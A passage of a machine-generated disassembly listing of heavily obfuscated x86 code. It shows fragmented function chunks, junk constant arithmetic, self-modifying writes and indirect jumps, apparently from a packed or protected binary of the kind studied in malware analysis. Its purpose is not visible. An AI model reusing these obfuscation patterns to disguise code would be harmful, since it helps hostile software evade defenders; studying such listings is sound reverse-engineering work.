; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
		mov	eax, 0A4811312h
		call	sub_746E93
		mov	ds:off_41F07C, eax
		call	sub_75118C
		and	ebp, 87CE4807h
		jmp	sub_751ECC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_755BD4:				; CODE XREF: sub_74AE46+5BCj
		jge	loc_750E59


loc_755BDA:				; CODE XREF: sub_7571A1+707j
		jmp	loc_750040
; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_755BDF:				; CODE XREF: sub_75143A-A235j
		jmp	loc_746334
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------
		mov	edi, edx
		mov	[eax], edx
		js	loc_747AAA
		jle	loc_7478C8
		jmp	loc_750E59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_755BF9:				; CODE XREF: sub_74C670-1AA3j
					; sub_74742A:loc_74B481j ...
		jmp	loc_74780E
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74742A


loc_755BFE:				; CODE XREF: sub_74742A+7j
					; sub_74C670+ACD9j
		xchg	eax, [esp-4+arg_0]
		mov	ecx, eax
		pop	eax
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74742A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_755C06:				; CODE XREF: sub_75143A-797Dj
		jmp	loc_75603C
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_755C0B:				; CODE XREF: sub_7572F3-11123j
		jmp	loc_749D2A
; END OF FUNCTION CHUNK	FOR sub_7572F3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_755C10	proc near		; CODE XREF: sub_747736-E28p
					; _0z4jwtox:00748B67p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074798D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074D07E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074E4B4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074EFA8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00751F8A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007552A3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00755A20 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 007566BD SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_74798D
sub_755C10	endp

; ---------------------------------------------------------------------------
		jl	loc_74D174
		jmp	loc_746122
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_755C23:				; CODE XREF: sub_747B31+D1CEj
		push	offset sub_75579C
		jmp	nullsub_122
; END OF FUNCTION CHUNK	FOR sub_747B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_755C2D:				; CODE XREF: sub_74D23E:loc_75340Bj
		jz	loc_7540A9
		jmp	loc_74C1A9
; END OF FUNCTION CHUNK	FOR sub_74D23E

; =============== S U B	R O U T	I N E =======================================



sub_755C38	proc near		; DATA XREF: sub_750F2E:loc_755CCAo

; FUNCTION CHUNK AT 00745866 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00746524 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00746796 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00749524 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074ADEB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074B407 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074DBFC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074DD1B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074E714 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E81B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074F01A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007502A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751112 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753C9C SIZE 00000005 BYTES

		call	sub_746E93


loc_755C3D:				; CODE XREF: _0z4jwtox:007539EEj
		push	edx
		push	7BE012C9h
		pop	edx
		or	edx, 0E01AF67h
		rol	edx, 16h
		jmp	loc_753C9C
sub_755C38	endp

; ---------------------------------------------------------------------------


loc_755C52:				; CODE XREF: _0z4jwtox:00747EA7j
		shl	ecx, 0Bh


loc_755C55:				; CODE XREF: _0z4jwtox:loc_747E95j
		add	ebx, 53E10D68h
		xor	ebx, 0ED1A8CD3h
		cmp	ebx, 8A38ADD4h
		jmp	loc_748EBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756FF2


loc_755C6C:				; CODE XREF: sub_756FF2+Bj
		mov	ecx, edx
		xchg	ecx, [esp+4+var_4]
		push	edi
		push	4E52E4D4h
		pop	edi
		add	edi, 0AB4B64E1h
		and	edi, 0E0DD02AEh
		add	edi, 1FD8FD33h
		jmp	loc_74FDCF
; END OF FUNCTION CHUNK	FOR sub_756FF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752DF2


loc_755C8F:				; CODE XREF: sub_752DF2-4A10j
		and	ecx, 1DEB58F7h


loc_755C95:				; CODE XREF: sub_752DF2:loc_746EF0j
		push	65CFA566h
		rol	eax, 1Ch
		jmp	loc_745458
; END OF FUNCTION CHUNK	FOR sub_752DF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7578F4


loc_755CA2:				; CODE XREF: sub_7578F4+16j
		push	eax
		jmp	loc_74B9C5
; END OF FUNCTION CHUNK	FOR sub_7578F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DF5E


loc_755CA8:				; CODE XREF: sub_74DF5E-7009j
		add	esp, 8
		push	offset loc_753CA6
		jmp	loc_747157
; END OF FUNCTION CHUNK	FOR sub_74DF5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750F2E


loc_755CB5:				; CODE XREF: sub_750F2E:loc_756E49j
		or	eax, 0F0A636FFh
		rol	eax, 14h
		and	eax, 449F4A46h
		add	eax, 0DD74EC3Ch


loc_755CCA:				; CODE XREF: sub_756826:loc_7475BDj
		push	offset sub_755C38
		jmp	loc_75432C
; END OF FUNCTION CHUNK	FOR sub_750F2E
; ---------------------------------------------------------------------------
		mov	ecx, 0AAC67271h
		and	edi, ecx
		jmp	sub_74CA64
; ---------------------------------------------------------------------------


loc_755CE0:				; CODE XREF: _0z4jwtox:0074DE50j
		jnb	loc_74BC32

; =============== S U B	R O U T	I N E =======================================



sub_755CE6	proc near		; CODE XREF: sub_7561ABp
		xchg	esi, [esp+0]
		pop	esi
		call	sub_756158
		jmp	ds:off_41F0A0
sub_755CE6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	edi, ebx
		jmp	loc_74FEAC

; =============== S U B	R O U T	I N E =======================================



sub_755CFC	proc near		; CODE XREF: sub_74B719+CB9p

; FUNCTION CHUNK AT 007487D4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074B6D7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0075334B SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		setz	al
		call	sub_7452F3


loc_755D08:				; CODE XREF: sub_7543C5:loc_74F9D3j
		jmp	loc_7487D4
sub_755CFC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B719


loc_755D0D:				; CODE XREF: sub_74B719:loc_7487BAj
		mov	eax, [ebp+8]
		jmp	loc_749B3A
; END OF FUNCTION CHUNK	FOR sub_74B719
; ---------------------------------------------------------------------------


loc_755D15:				; DATA XREF: sub_746ED2+6EB8o
		sub	edx, eax
		push	0B8EA4FAAh
		pop	ecx
		and	ecx, 98FACF94h
		or	ecx, 0EAD4F97Ah
		sub	ecx, 87C8B362h
		add	ecx, 0F1439990h
		add	ecx, ebp
		jmp	loc_755FBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_755D3C:				; CODE XREF: sub_74E451:loc_757591j
		xor	edx, ebx
		xor	esi, 2F091650h
		jmp	loc_753040
; END OF FUNCTION CHUNK	FOR sub_74E451
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_286. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	[edx], ecx
		jmp	loc_755DE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_755D51:				; CODE XREF: sub_74BFE0+62EFj
		cmp	al, 0A4h
		jz	loc_750C41
		jmp	loc_74EFDA
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; ---------------------------------------------------------------------------


loc_755D5E:				; CODE XREF: _0z4jwtox:007495EBj
		call	sub_746E93
		push	edx
		push	0C82B1006h
		pop	edx
		jmp	loc_74C831
; ---------------------------------------------------------------------------
		push	0DE85E974h
		jmp	loc_74613F
; ---------------------------------------------------------------------------


loc_755D79:				; CODE XREF: _0z4jwtox:007466B6j
		adc	ecx, ebx
		popf
		jmp	sub_7559F0
; ---------------------------------------------------------------------------


loc_755D81:				; CODE XREF: _0z4jwtox:0074BD42j
		xchg	eax, [esp]
		jmp	loc_74FA9C
; ---------------------------------------------------------------------------

locret_755D89:				; CODE XREF: _0z4jwtox:loc_7503CEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_755D8A:				; CODE XREF: sub_750638+32E3j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_755314
		jmp	loc_7493BD
; END OF FUNCTION CHUNK	FOR sub_750638
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514BF


loc_755D9F:				; CODE XREF: sub_7514BF-6801j
		jmp	loc_748482
; END OF FUNCTION CHUNK	FOR sub_7514BF

; =============== S U B	R O U T	I N E =======================================



sub_755DA4	proc near		; CODE XREF: sub_74BD26:loc_74AD87p
					; _0z4jwtox:00755268j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074808E SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		pop	edx
		mov	eax, [esp+0]
		jmp	loc_74808E
sub_755DA4	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_755DB2:				; CODE XREF: _0z4jwtox:0074EC90j
		jmp	loc_7534E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_755DB7:				; CODE XREF: sub_74CF35:loc_752052j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7573A4
		jmp	loc_746183
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------


loc_755DCB:				; DATA XREF: sub_75247E+A7Do
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		call	sub_747622


loc_755DDA:				; CODE XREF: _0z4jwtox:00751365j
		jmp	loc_74AB1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529BD


loc_755DDF:				; CODE XREF: sub_7529BD-46BAj
		jmp	loc_749339
; END OF FUNCTION CHUNK	FOR sub_7529BD
; ---------------------------------------------------------------------------


loc_755DE4:				; CODE XREF: _0z4jwtox:00755D4Cj
		not	edx

; =============== S U B	R O U T	I N E =======================================



sub_755DE6	proc near		; CODE XREF: _0z4jwtox:00749ACCp
		xchg	ecx, [esp+0]
		pop	ecx
		add	edx, ebp
		add	edx, 98ECAF58h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_7543D4
sub_755DE6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_755DFD:				; DATA XREF: sub_749B76+8F3Ao
		push	44BDE9C0h
		pop	eax
		add	eax, 0A2D6818Bh
		or	eax, 9C10AF8Eh
		rol	eax, 19h
		test	eax, 800000h
		jmp	loc_74D050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_755E1D:				; CODE XREF: sub_746640+3B79j
		adc	edx, [esp+arg_0]
		jo	loc_75365B
		call	sub_74C1D8
		and	esi, ebp
		jmp	loc_74BA02
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_755E33:				; CODE XREF: sub_756826+7EFj
		add	ebx, 730A08B3h
		test	edx, eax
		jmp	loc_7475BD
; END OF FUNCTION CHUNK	FOR sub_756826

; =============== S U B	R O U T	I N E =======================================



sub_755E40	proc near		; CODE XREF: sub_7514D2+8p
					; _0z4jwtox:00753104j

; FUNCTION CHUNK AT 007485FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748788 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748A06 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007496A2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074EA7F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00754828 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00756656 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757098 SIZE 0000000F BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	[ecx], eax
		call	sub_747C39


loc_755E4B:				; CODE XREF: sub_747A94+E31j
		jmp	loc_754828
sub_755E40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	eax, 0B4744145h
		rol	eax, 1Dh
		push	edx
		push	offset sub_750D35
		jmp	locret_74CA90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753F8B


loc_755E64:				; CODE XREF: sub_753F8B:loc_75719Cj
		jl	loc_74CE20
		ror	esi, 0Bh
		jmp	loc_74CE1A
; END OF FUNCTION CHUNK	FOR sub_753F8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_755E72:				; CODE XREF: sub_74D23E-16A0j
					; _0z4jwtox:0074F7EAj
		ja	loc_74EBA2
; END OF FUNCTION CHUNK	FOR sub_74D23E

; =============== S U B	R O U T	I N E =======================================



sub_755E78	proc near		; CODE XREF: sub_7473D1-221Ap

; FUNCTION CHUNK AT 00745969 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		pop	ebx
		lea	eax, loc_745969
		mov	byte ptr [eax],	0C3h
		jmp	loc_745969
sub_755E78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_755E8B:				; CODE XREF: _0z4jwtox:loc_74697Fj
		mov	eax, [esp]
		push	eax
		jmp	loc_74B6FA
; ---------------------------------------------------------------------------

locret_755E94:				; CODE XREF: _0z4jwtox:0074B440j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745697


loc_755E95:				; CODE XREF: sub_745697:loc_74E4D6j
		add	eax, 0D09573B6h
		xchg	eax, [esp-4+arg_0]
		jmp	sub_74FACE
; END OF FUNCTION CHUNK	FOR sub_745697
; ---------------------------------------------------------------------------
		mov	eax, 0B4F3C01h
		push	ecx
		push	0C409A845h
		jmp	loc_75357C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_755EB3:				; CODE XREF: sub_74724C+1D43j
		jg	loc_754F92
; END OF FUNCTION CHUNK	FOR sub_74724C
; START	OF FUNCTION CHUNK FOR sub_750C2D


loc_755EB9:				; CODE XREF: sub_750C2D-3366j
		or	eax, 1E3F4AB9h
		jnz	loc_746108
		cdq
		jmp	loc_7565BE
; END OF FUNCTION CHUNK	FOR sub_750C2D
; ---------------------------------------------------------------------------


loc_755ECB:				; CODE XREF: _0z4jwtox:0074A6C6j
		and	eax, ecx

; =============== S U B	R O U T	I N E =======================================



sub_755ECD	proc near		; CODE XREF: sub_752D11-9CE9p
		xchg	eax, [esp+0]
		pop	eax
		xor	eax, eax
		mov	[ebp-10h], eax
		push	offset sub_752C44
		jmp	nullsub_169
sub_755ECD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_755EE0:				; CODE XREF: sub_748FA4:loc_745BB8j
		mov	[ecx], edx
		shr	ebp, 14h
		jnp	loc_753697


loc_755EEB:				; CODE XREF: sub_75275A:loc_74725Cj
					; sub_7501AF:loc_74795Dj ...
		jmp	loc_7571B2
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_755EF0:				; CODE XREF: sub_75275A-5924j
					; sub_7501AF+Aj
		pop	ecx
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_74587C
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------


loc_755EF9:				; CODE XREF: _0z4jwtox:loc_7539D0j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_74A39E
		jmp	loc_74EF41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_755F08:				; CODE XREF: sub_74A71A:loc_749DA9j
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_75231D


loc_755F15:				; CODE XREF: sub_74FAD6:loc_749915j
					; _0z4jwtox:00752317j
		jnz	loc_749B0B
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_748FD6
		mov	eax, [ebp-1Ch]
		jmp	loc_74EDB2
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF0C


loc_755F2D:				; CODE XREF: sub_74CF0C+5j
		jmp	ds:off_41F14C
; END OF FUNCTION CHUNK	FOR sub_74CF0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_755F33:				; CODE XREF: sub_747AEC+EECCj
		jmp	loc_756E0A
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_755F38:				; CODE XREF: _0z4jwtox:0074FCE4j
		jmp	sub_748C0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_755F3D:				; CODE XREF: sub_750638-6542j
		jmp	loc_74E329
; END OF FUNCTION CHUNK	FOR sub_750638

; =============== S U B	R O U T	I N E =======================================



sub_755F42	proc near		; CODE XREF: sub_755F42-10689j
					; sub_74CF0Cp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007458B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00749A77 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074C3FC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074DFA8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00752000 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007524F1 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0075361B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753A72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007542D3 SIZE 00000014 BYTES

		jno	loc_7542D3
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		push	offset sub_754A60
		jmp	loc_75361B
sub_755F42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_755F58:				; CODE XREF: sub_74A7D8+7DEAj
		sbb	ecx, edi


loc_755F5A:				; CODE XREF: sub_7564A7:loc_7525B2j
		xor	esi, 5E85470Bh
		sub	esi, 65C40613h
		test	esi, 1000000h
		jmp	loc_754AA6
; END OF FUNCTION CHUNK	FOR sub_74A7D8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_755F71	proc near		; CODE XREF: sub_74ACFA:loc_74F786j
		retn
sub_755F71	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_755F72:				; CODE XREF: sub_7490F6-1B5Fj
		jmp	loc_755398
; END OF FUNCTION CHUNK	FOR sub_7490F6

; =============== S U B	R O U T	I N E =======================================



sub_755F77	proc near		; CODE XREF: _0z4jwtox:0074BBC4j
					; sub_756691-2E85p

; FUNCTION CHUNK AT 0074B73B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750D19 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00755562 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ecx
		push	59F1B4D7h
		pop	ecx
		sub	ecx, 1FA4DA2Eh
		xor	ecx, 0F75BED7Eh
		jmp	loc_74B73B
sub_755F77	endp

; ---------------------------------------------------------------------------
		sbb	esi, 2AD01883h
		jmp	loc_7577DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570B1


loc_755F9E:				; CODE XREF: sub_7570B1+3j
		push	ecx
		push	edx
		push	8C45D23Ah
		pop	edx
		rol	edx, 0Bh
		add	edx, 98149914h
		cmp	edx, 0E1454756h
		jmp	loc_75704E
; END OF FUNCTION CHUNK	FOR sub_7570B1
; ---------------------------------------------------------------------------


loc_755FBA:				; CODE XREF: _0z4jwtox:00755D37j
		add	ecx, 9B8619D4h
		mov	ecx, [ecx]
		pushf
		push	5CF6DB25h
		pop	eax
		jmp	loc_74FCAB
; ---------------------------------------------------------------------------
		pushf
		mov	edx, ecx
		jmp	sub_74DE55

; =============== S U B	R O U T	I N E =======================================



sub_755FD6	proc near		; CODE XREF: _0z4jwtox:00747F6Aj
					; sub_74BE8E+3p
		xchg	esi, [esp+0]
		pop	esi
		add	esp, 0FFFFFFF8h
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jmp	loc_752E9A
sub_755FD6	endp

; ---------------------------------------------------------------------------


loc_755FE9:				; CODE XREF: _0z4jwtox:007465CCj
		and	esi, 61735D6Dh
		and	ebp, 6F6E521Ah
		jmp	loc_7494F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_755FFA:				; CODE XREF: sub_7572F3+4j
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_74D40E
; END OF FUNCTION CHUNK	FOR sub_7572F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_756004:				; CODE XREF: sub_74FE55-EFDj
		jo	loc_74A9B1
		ror	ebx, 10h


loc_75600D:				; CODE XREF: sub_74FE55:loc_74771Bj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_75685B
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_756018:				; CODE XREF: sub_753FCE:loc_746E56j
		mov	ecx, [eax]
		jmp	loc_7472EE
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------


loc_75601F:				; CODE XREF: _0z4jwtox:00746F2Dj
		jo	loc_75381F
		not	eax
		sbb	edx, ebp
		and	eax, ebx


loc_75602B:				; CODE XREF: _0z4jwtox:loc_746F20j
		add	eax, 0E665AA0Fh
		call	sub_746E93
		push	esi
		jmp	loc_74F49C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_75603C:				; CODE XREF: sub_75143A:loc_755C06j
		xchg	eax, [esp+8+var_8]
		jmp	sub_754FC6
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------

locret_756044:				; CODE XREF: _0z4jwtox:loc_75035Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DFF3


loc_756045:				; CODE XREF: sub_74DFF3+826Cj
		jmp	loc_7548ED
; END OF FUNCTION CHUNK	FOR sub_74DFF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_75604A:				; CODE XREF: sub_748B52:loc_748F4Bj
		jnz	loc_7576E4
		or	ecx, ebp
		xchg	ecx, ebp
		jmp	loc_7576E4
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------


loc_756059:				; CODE XREF: _0z4jwtox:00748EE4j
		jns	loc_7452F9
		xchg	eax, [ecx]


loc_756061:				; CODE XREF: _0z4jwtox:loc_748EBDj
		rol	ebx, 17h
		add	ebx, 0F264EB76h
		jmp	loc_747025
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_284. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7510EA


loc_756070:				; CODE XREF: sub_7510EA+2946j
		jmp	loc_747D6E
; END OF FUNCTION CHUNK	FOR sub_7510EA
; ---------------------------------------------------------------------------


loc_756075:				; CODE XREF: _0z4jwtox:0074680Ej
		jmp	loc_755092
; ---------------------------------------------------------------------------
		jl	loc_74C60E
		jmp	sub_74B091
; ---------------------------------------------------------------------------


loc_756085:				; DATA XREF: sub_747003+12o
		push	4AF1AD31h
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_75608A:				; CODE XREF: sub_74D1F3-13CDj
		pop	esi
		rol	esi, 1Ah
		xor	esi, 0DE6C4050h
		add	esi, 0E4B8992Ch
		jmp	loc_74671F
; END OF FUNCTION CHUNK	FOR sub_74D1F3

; =============== S U B	R O U T	I N E =======================================



sub_75609F	proc near		; CODE XREF: sub_74D4D3-7F10p
					; _0z4jwtox:0074E2F8j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007464B7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748F5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A391 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074CD72 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074E57A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007507EB SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	esi, [esp-4+arg_0]
		mov	ebx, esi


loc_7560A8:				; CODE XREF: sub_74A7D8:loc_74CF16j
		pop	esi
		sub	ebx, 0E8A536Fh
		jmp	loc_7464B7
sub_75609F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74985C


loc_7560B4:				; CODE XREF: sub_74985C+A638j
		jz	loc_745F4F
		jmp	loc_751545
; END OF FUNCTION CHUNK	FOR sub_74985C
; ---------------------------------------------------------------------------
		pushf
		rol	edi, 2
		jmp	sub_752149
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7565EF


loc_7560C9:				; CODE XREF: _0z4jwtox:0074A101j
					; sub_7565EF+8j
		mov	ebx, edx
		xchg	ebx, [esp+0]
		call	sub_74BACE
; END OF FUNCTION CHUNK	FOR sub_7565EF
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7560D3:				; CODE XREF: sub_747C22:loc_75234Aj
		jmp	loc_748271
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7484F5


loc_7560D8:				; CODE XREF: sub_7484F5+5C87j
		jmp	nullsub_176
; END OF FUNCTION CHUNK	FOR sub_7484F5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_7560DE:				; CODE XREF: sub_74673E+277Aj
		jmp	nullsub_177
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A3AB


loc_7560E3:				; CODE XREF: sub_74A3AB+1j
		mov	ecx, ebp
		xchg	ecx, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		push	edx
		push	6E5A7D16h
		pop	edx
		xor	edx, 34437405h
		jmp	loc_749A0D
; END OF FUNCTION CHUNK	FOR sub_74A3AB

; =============== S U B	R O U T	I N E =======================================



sub_7560FD	proc near		; CODE XREF: _0z4jwtox:0074D5C9j
					; _0z4jwtox:00755749p
		xchg	edx, [esp+0]
		pop	edx
		call	sub_746E93
		push	edx
		push	90DC66Ch
		pop	edx
sub_7560FD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_747736


loc_75610D:				; CODE XREF: sub_747736:loc_75036Ej
		xor	edx, 513C2293h
		jmp	loc_745A1F
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------


loc_756118:				; CODE XREF: _0z4jwtox:loc_753642j
		jnz	loc_74646A
		jmp	loc_752607

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_756123	proc near		; CODE XREF: sub_745BF7+9DFDp
					; sub_745BF7:loc_755873p
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		push	offset sub_751078
		jmp	nullsub_179
sub_756123	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7535F0


loc_756132:				; CODE XREF: sub_7535F0+7j
		mov	eax, [esp+4+var_4]
		push	edx
		call	sub_750C4E
		mov	eax, 2DC123E0h
		call	sub_746E93


loc_756145:				; CODE XREF: sub_7572F3:loc_7546F3j
		push	edi
		jmp	loc_75456C
